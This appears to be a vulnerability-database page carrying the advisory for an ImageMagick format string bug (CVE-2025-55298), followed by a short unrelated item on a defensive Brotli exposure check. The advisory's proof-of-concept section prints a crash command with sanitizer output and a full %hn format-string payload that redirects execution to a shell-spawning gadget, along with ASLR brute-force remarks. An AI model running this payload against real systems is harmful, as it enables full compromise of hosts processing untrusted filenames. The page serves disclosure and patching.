CVE-2025-55298

EUVD-2025-25836 · Published Aug 26, 2025

ImageMagick has a Format String Bug in InterpretImageFilename leads to arbitrary code execution

Summary

A format string bug vulnerability exists in InterpretImageFilename function where user input is directly passed to FormatLocaleString without proper sanitization. An attacker can overwrite arbitrary memory regions, enabling a wide range of attacks from heap overflow to remote code execution.

Details

root cause

MagickExport size_t InterpretImageFilename(const ImageInfo *image_info,
  Image *image,const char *format,int value,char *filename,
  ExceptionInfo *exception)
{

...

  while ((cursor=strchr(cursor,'%')) != (const char *) NULL)
  {
    const char
      *q = cursor;

    ssize_t
      offset = (ssize_t) (cursor-format);

    cursor++;  /* move past '%' */
    if (*cursor == '%')
      {
        /*
          Escaped %%.
        */
        cursor++;
        continue;
      }
    /*
      Skip padding digits like %03d.
    */
    if (isdigit((int) ((unsigned char) *cursor)) != 0)
      (void) strtol(cursor,(char **) &cursor,10);
    switch (*cursor)
    {
      case 'd':
      case 'o':
      case 'x':
      {
        ssize_t
          count;

        count=FormatLocaleString(pattern,sizeof(pattern),q,value);
        if ((count <= 0) || (count >= MagickPathExtent) ||
            ((offset+count) >= MagickPathExtent))
          return(0);
        (void) CopyMagickString(p+offset,pattern,(size_t) (MagickPathExtent-
          offset));
        cursor++;
        break;
      }

When the InterpretImageFilename function processes a filename beginning with format specifiers such as %d, %o, or %x, the filename string is directly passed as a parameter to the FormatLocaleString function.

MagickExport ssize_t FormatLocaleString(char *magick_restrict string,
  const size_t length,const char *magick_restrict format,...)
{
  ssize_t
    n;

  va_list
    operands;

  va_start(operands,format);
  n=FormatLocaleStringList(string,length,format,operands);
  va_end(operands);
  return(n);
}

MagickPrivate ssize_t FormatLocaleStringList(char *magick_restrict string,
  const size_t length,const char *magick_restrict format,va_list operands)
{
...
n=(ssize_t) _vsnprintf_l(string,length,format,locale,operands);

Inside FormatLocaleString, the variable argument list is initialized through va_start, after which the format string processing occurs by interpreting the format specifiers and using corresponding values from CPU registers and the call stack as arguments for the formatting operations.

PoC

1. Heap overflow read tested on development container

root@9184bf32bd0f:/workspaces/ImageMagick# mogrify %o%n
=================================================================
==55653==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000001 at pc 0x5bdccaae689e bp 0x7fff6882c410 sp 0x7fff6882c408
READ of size 8 at 0x603000000001 thread T0
    #0 0x5bdccaae689d in SplaySplayTree splay-tree.c
    #1 0x5bdccaae865e in GetValueFromSplayTree (/ImageMagick/bin/magick+0x59165e) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #2 0x5bdccaa8e47b in GetImageOption (/ImageMagick/bin/magick+0x53747b) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #3 0x5bdccaa63c39 in SyncImageSettings (/ImageMagick/bin/magick+0x50cc39) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #4 0x5bdccaa63036 in AcquireImage (/ImageMagick/bin/magick+0x50c036) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #5 0x5bdccaa70cc4 in SetImageInfo (/ImageMagick/bin/magick+0x519cc4) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #6 0x5bdccae42e13 in ReadImages (/ImageMagick/bin/magick+0x8ebe13) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #7 0x5bdccb11ee08 in MogrifyImageCommand (/ImageMagick/bin/magick+0xbc7e08) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #8 0x5bdccb103ca9 in MagickCommandGenesis (/ImageMagick/bin/magick+0xbacca9) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #9 0x5bdccaa5f939 in main (/ImageMagick/bin/magick+0x508939) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #10 0x73b2102b2d8f  (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd)
    #11 0x73b2102b2e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd)
    #12 0x5bdcca99f404 in _start (/ImageMagick/bin/magick+0x448404) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)

0x603000000001 is located 15 bytes to the left of 24-byte region [0x603000000010,0x603000000028)
allocated by thread T0 here:
    #0 0x5bdccaa2224e in malloc (/ImageMagick/bin/magick+0x4cb24e) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #1 0x73b21031915a  (/lib/x86_64-linux-gnu/libc.so.6+0x9015a) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd)

SUMMARY: AddressSanitizer: heap-buffer-overflow splay-tree.c in SplaySplayTree
Shadow bytes around the buggy address:
  0x0c067fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c067fff8000:[fa]fa 00 00 00 fa fa fa 00 00 00 00 fa fa 00 00
  0x0c067fff8010: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
  0x0c067fff8020: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
  0x0c067fff8030: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
  0x0c067fff8040: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
  0x0c067fff8050: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==55653==ABORTING

Processing a malicious filename containing format string specifiers such as %d%n results in corruption of the SplayTree structure stored in the r8 register. The corrupted structure contains invalid pointer values that are later dereferenced by the SplaySplayTree function, causing the function to access unintended memory locations and triggering a heap overflow condition.

2. Shell execution tested on a local environment

https://github.com/user-attachments/assets/00e6a091-8e77-48f0-959e-c05eff69ff94

 ~/fuzz gdb -nx -args ./patchedsecure/bin/mogrify %d%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%17995c%hn%c%c%c%c%c%c%c%c%c%65529c%hn%93659c%2176\$hn%233c%2194\$hhnaaaaaaaaa

The exploit achieves remote code execution by leveraging format string vulnerabilities to perform a write-what-where attack. The payload systematically overwrites return addresses on the stack, redirecting program execution to a one-gadget ROP chain that spawns a shell with the current process privileges.

Exploitation Process:

Format string payload corrupts stack pointers through positional parameters
Multiple 2-byte writes (%hn) progressively overwrite the return address
Final payload redirects execution to a one-gadget (0x00007ffff66ebc85)
One-gadget executes /bin/sh with inherited process permissions

Remote Exploitation Feasibility:
While this PoC demonstrates local shell execution with ASLR disabled, remote code execution is achievable in real-world scenarios through brute force attacks. When stack layout conditions are favorable, attackers can perform 1.5-byte return address brute force and 1.5-byte libc base address brute force to gain shell access.

Important: The numeric parameters within the format string payload are environment-dependent and may require modification for different target systems due to variations in memory layout and stack structure.

Note: This demonstrates complete system compromise, as the attacker gains interactive shell access to the target system.

Impact

This format string vulnerability enables attackers to achieve complete system compromise through arbitrary memory read/write operations and remote code execution. Attackers can access sensitive data stored in process memory, overwrite critical system structures, and execute arbitrary code with ImageMagick's privileges.

The vulnerability is particularly dangerous in web applications processing user-uploaded images and automated image processing systems. Successful exploitation can lead to privilege escalation, data exfiltration, and lateral movement within compromised networks.

Suggested Fix

Two potential mitigation approaches:

Input Validation: Add format string validation in InterpretImageFilename to reject filenames containing format specifiers (%n, %s, %x, etc.) before passing to FormatLocaleString
Safe Parsing: Modify the format string processing to parse and validate each format specifier individually rather than passing the entire user-controlled string directly to FormatLocaleString

Credits

Team Daemon Fuzz Hunters

Bug Hunting Master Program, HSpace/Findthegap

Woojin Park
@jin-156
1203kids@gmail.com

Hojun Lee
@leehohojune
leehojune@korea.ac.kr

Youngin Won
@amethyst0225
youngin04@korea.ac.kr

Siyeon Han
@hanbunny
kokosyeon@gmail.com

Additional notes from the ImageMagick team:

On many modern toolchains and OSes, format‑string exploits using %n are already mitigated or blocked by default (e.g., -Wformat-security, _FORTIFY_SOURCE, hardened libc behavior, ASLR/stack canaries). That can make exploitation impractical in typical builds so you might not be vulnerable but it would still be wise to upgrade to the most recent version. We also already provide the following mitigation:

To prevent unintended interpretation of the filename as a format string, users can explicitly disable format string parsing by defining the filename as a literal. This can be done using the following directive:

In wrappers: filename:literal
From the command line: -define filename:literal=true

Technologies

Imagemagick ImagemagickMagick.Net-Q8-Anycpu Magick.Net-Q8-AnycpuMagick.Net-Q16-Hdri-X86 Magick.Net-Q16-Hdri-X86Magick.Net-Q16-Hdri-X64 Magick.Net-Q16-Hdri-X64Magick.Net-Q16-Openmp-Arm64 Magick.Net-Q16-Openmp-Arm64Magick.Net-Q16-Anycpu Magick.Net-Q16-AnycpuMagick.Net-Q16-X86 Magick.Net-Q16-X86Magick.Net-Q8-X86 Magick.Net-Q8-X86Magick.Net-Q16-Hdri-Openmp-Arm64 Magick.Net-Q16-Hdri-Openmp-Arm64Magick.Net-Q16-Hdri-Arm64 Magick.Net-Q16-Hdri-Arm64Magick.Net-Q16-Openmp-X64 Magick.Net-Q16-Openmp-X64Magick.Net-Q8-Openmp-Arm64 Magick.Net-Q8-Openmp-Arm64Magick.Net-Q16-Arm64 Magick.Net-Q16-Arm64Magick.Net-Q8-Openmp-X64 Magick.Net-Q8-Openmp-X64Magick.Net-Q8-X64 Magick.Net-Q8-X64Magick.Net-Q8-Arm64 Magick.Net-Q8-Arm64Magick.Net-Q16-Hdri-Anycpu Magick.Net-Q16-Hdri-AnycpuMagick.Net-Q16-X64 Magick.Net-Q16-X64Magick.Net-Q16-Hdri-Openmp-X64 Magick.Net-Q16-Hdri-Openmp-X64

Weaknesses

CWE-123CWE-134

CVSS scores

v3.17.5CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

ReconImpact

Initial Access

T1190Exploit Public-Facing Application

References

Potentially impacted assets

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Latest trending attack

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Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.